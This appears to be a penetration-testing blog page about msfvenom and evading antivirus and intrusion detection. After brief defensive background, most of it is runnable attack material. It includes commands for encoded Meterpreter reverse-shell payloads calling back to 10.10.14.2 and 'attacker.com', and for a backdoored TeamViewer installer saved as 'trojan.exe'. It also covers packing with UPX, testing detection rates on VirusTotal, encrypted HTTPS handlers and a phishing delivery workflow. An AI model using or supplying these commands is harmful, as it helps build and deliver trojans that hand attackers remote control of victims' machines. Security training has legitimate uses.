Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

msfvenom

Understanding how targets are defended helps attack them more efficiently and quietly. Defense mechanisms fall into two main categories: Endpoint Protection and Perimeter Protection.


Endpoint Protection

Endpoint protection refers to localized device or service protection for a single host on the network. The host can be a personal computer, corporate workstation, or server in a DMZ.

Common Components

Endpoint protection usually comes as software packages that include:

  • Antivirus Protection - Signature-based malware detection
  • Antimalware Protection - Bloatware, spyware, adware, scareware, ransomware
  • Host Firewall - Local traffic filtering
  • Anti-DDoS - Denial of service protection
  • Avast
  • Nod32
  • Malwarebytes
  • BitDefender
  • Windows Defender
  • ClamAV

Perimeter Protection

Perimeter protection comes in physical or virtualized devices on the network perimeter edge. These edge devices provide access inside the network from the outside (public to private).

Network Zones

ZoneDescriptionTrust Level
OutsideThe Internet, public networksLowest
DMZPublic-facing servers (web, email, DNS)Medium
InsideInternal corporate networkHighest

The DMZ houses servers that push and pull data for public clients from the Internet but are managed from the inside network.


Security Policies

Security policies function like ACLs (Access Control Lists) - essentially allow and deny statements that dictate how traffic or files can exist within a network boundary.

Policy Types

Policy TypeDescription
Network Traffic PoliciesControl packet flow based on ports, protocols, IPs
Application PoliciesControl which applications can run
User Access Control PoliciesDefine user permissions and authentication
File Management PoliciesControl file access, modification, transfer
DDoS Protection PoliciesRate limiting, traffic shaping

Detection Methods

Signature-based Detection

Compares network packets against pre-built attack pattern signatures. Any 100% match generates alarms.

Pros:

  • Very accurate for known threats
  • Low false positive rate

Cons:

  • Cannot detect new/unknown attacks
  • Requires constant signature updates

Heuristic/Statistical Anomaly Detection

Behavioral comparison against an established baseline, including APT (Advanced Persistent Threat) signatures.

Detection Approach:

  1. Establish baseline of normal network behavior
  2. Identify commonly used protocols
  3. Generate alarms when deviations exceed threshold

Stateful Protocol Analysis Detection

Recognizes divergence of protocols by event comparison using pre-built profiles of generally accepted non-malicious activity definitions.

Live-monitoring and Alerting (SOC-based)

Security Operations Center (SOC) analysts use live-feed software to monitor network activity and intermediate alarming systems for potential threats.


Evasion Techniques

Payload Encoding

Most host-based antivirus software relies on signature-based detection. Encoding payloads can help evade these signatures.

Generate Encoded Payload

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
  -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5

Output:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/test.js

Note: Simply encoding payloads with multiple iterations is often not sufficient for all AV products.

Encrypted Communication Channels

MSF6 can tunnel AES-encrypted communication from Meterpreter shells back to the attacker, successfully encrypting traffic as the payload is sent.

Benefits:

  • Evades network-based IDS/IPS
  • Meterpreter runs in memory (no file on disk)

Executable Templates (Backdoored Executables)

msfvenom can embed payloads into legitimate executable files, hiding shellcode deep within legitimate code.

Create Backdoored Executable

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
  -k -x ~/Downloads/TeamViewer_Setup.exe \
  -e x86/shikata_ga_nai -a x86 --platform windows \
  -o ~/Desktop/TeamViewer_Setup.exe -i 5

Output:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/Desktop/TeamViewer_Setup.exe

Key Flags

FlagDescription
-kKeep template’s normal execution flow (payload runs in separate thread)
-x <file>Specify executable template
-e <encoder>Encoder to use
-i <iterations>Number of encoding passes
-a <arch>Target architecture
--platformTarget platform

Note: With -k flag, the original application runs normally while the payload executes in a separate thread. However, if launched from CLI, a separate window may pop up for the payload.


Archives for Evasion

Password-protected archives bypass many common AV signatures because the scanner cannot inspect the contents.

Creating Protected Archives

# ZIP with password
zip -e -P password payload.zip payload.exe

# 7-Zip with password
7z a -pPassword123 payload.7z payload.exe

Considerations:

  • Files will be flagged as “unable to scan” in AV dashboards
  • Administrators may manually inspect locked archives
  • Effective for initial delivery when combined with social engineering

Packers

Packers compress and obfuscate executables by packing the payload with decompression code into a single file. When run, the decompression code restores the original executable transparently.

PackerDescription
UPXUniversal packer, widely used
The Enigma ProtectorWindows executable protection
MPRESSCompact packer for PE/ELF/Mach-O
Alternate EXE PackerSimple Windows packer
ExeStealthAnti-debugging features
MEWMinimal size packer
ThemidaAdvanced code virtualization
MorphinePolymorphic packer

UPX Usage

# Compress executable
upx -9 payload.exe -o packed.exe

# Maximum compression with --ultra-brute
upx --ultra-brute payload.exe -o packed.exe

# Decompress (for analysis)
upx -d packed.exe

Reference: Check out the PolyPack project for more packer information.


VirusTotal Analysis

Use Metasploit’s built-in VirusTotal integration to test detection rates:

msf-virustotal -k <API_key> -f test.js

Sample Output:

[*] Using API key: <API key>
[*] Please wait while I upload test.js...
[*] VirusTotal: Scan request successfully queued
[*] Sample MD5 hash    : 35e7687f0793dc3e048d557feeaf615a
[*] Sample SHA1 hash   : f2f1c4051d8e71df0741b40e4d91622c4fd27309
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection
[*] Analysis Report: test.js (11 / 59)

Detection Rates Example

AntivirusDetectedResult
AVGtrueWin32:ShikataGaNai-A [Trj]
AvasttrueWin32:ShikataGaNai-A [Trj]
BitDefendertrueExploit.Metacoder.Shikata.Gen
ClamAVtrueWin.Trojan.MSShellcode-6360729-0
ESET-NOD32false-
Kasperskyfalse-
Malwarebytesfalse-

Exploit Code Considerations

Offset Randomization

When coding exploits, add randomization to break IPS/IDS database signatures for well-known exploit buffers:

'Targets' =>
[
 [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ],
],

Avoid Obvious NOP Sleds

IPS/IDS regularly check for standard NOP sleds. Test custom exploit code against a sandbox before deployment.

Buffer Overflow Considerations

  • Typical BoF exploits are easily distinguished by hexadecimal buffer patterns
  • Use randomized shellcode encoding
  • Vary NOP equivalents (NOPs can be replaced with other single-byte instructions)

MSF6 Encrypted Sessions

HTTPS Meterpreter with Stage Encoding

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
set StageEncoder x64/xor
run -j

Benefits

  • AES-encrypted tunnel between Meterpreter and attacker
  • Payload runs in memory (harder to detect)
  • Encrypted traffic blends with normal HTTPS traffic

DNS Exfiltration

In cases with strict traffic rules, DNS can be used for data exfiltration. This technique was notably used in the Equifax breach of 2017.

Characteristics

  • Slow but stealthy
  • Often allowed through firewalls
  • Difficult to detect without DNS-specific monitoring
  • Can bypass IP-based filtering

References


Evasion Workflow

Step 1: Choose Delivery Method

  • Backdoored executable
  • Macro-enabled document
  • Script file (JS, VBS, PS1)
  • Archive with password

Step 2: Apply Obfuscation

# Generate encoded backdoored executable
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
  -x legit_app.exe -k \
  -e x86/shikata_ga_nai -i 15 \
  -f exe -o trojan.exe

Step 3: Pack the Payload (Optional)

upx -9 trojan.exe -o trojan_packed.exe

Step 4: Test Detection

msf-virustotal -k <API_key> -f trojan_packed.exe

Step 5: Setup Handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
run -j

Step 6: Deliver and Execute

  • Social engineering
  • Phishing email
  • Physical access
  • Exploit existing vulnerability

Important Notes

  1. Testing Environment: Always test evasion techniques in a sandbox before live deployment
  2. Single Chance: During assessments, you may only have one opportunity to succeed
  3. Signature Updates: AV vendors regularly update signatures for known tools
  4. Layered Approach: Combine multiple evasion techniques for better results
  5. Legal Compliance: Only use these techniques during authorized penetration tests

Additional Resources